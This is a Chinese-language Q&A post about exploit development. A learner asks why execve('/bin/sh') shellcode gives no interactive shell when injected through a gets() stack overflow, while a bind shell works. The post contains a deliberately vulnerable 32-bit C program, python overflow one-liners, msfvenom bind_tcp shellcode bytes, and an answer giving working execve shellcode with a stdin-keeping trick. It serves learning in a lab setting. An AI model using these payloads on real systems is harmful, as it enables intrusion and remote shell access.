Question

尝试了解有关漏洞开发和构建shellcode的更多信息，但遇到了一个我不了解背后原因的问题。

为什么我无法运行像execve这样的shellcode（＆＃34; / bin / sh＆＃34;）并生成我可以与之交互的shell？另一方面，我能够创建一个reverse / bind_tcp shell并使用netcat连接到它。

示例程序：

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}

示例漏洞利用：

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln

示例有效负载（工作）：

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

测试了多个不同的execve（＆＃34; / bin / sh＆＃34;）样本，以及创建我自己的样本，然后编译它们以验证它们在用作有效负载之前是否有效。

例如：https://www.exploit-db.com/exploits/42428/

Answer 1

当shellcode execve（/ bin / sh）执行时，它没有连接的标准输入（因为GETS）并将终止。

解决方案是关闭stdin描述符，在执行/ bin / sh之前重新打开/ dev / tty。

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

相关答案：execve("/bin/sh", 0, 0); in a pipe

也可以使用

执行有效载荷

( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln

漏洞利用开发 - GETS和Shellcode

1 个答案: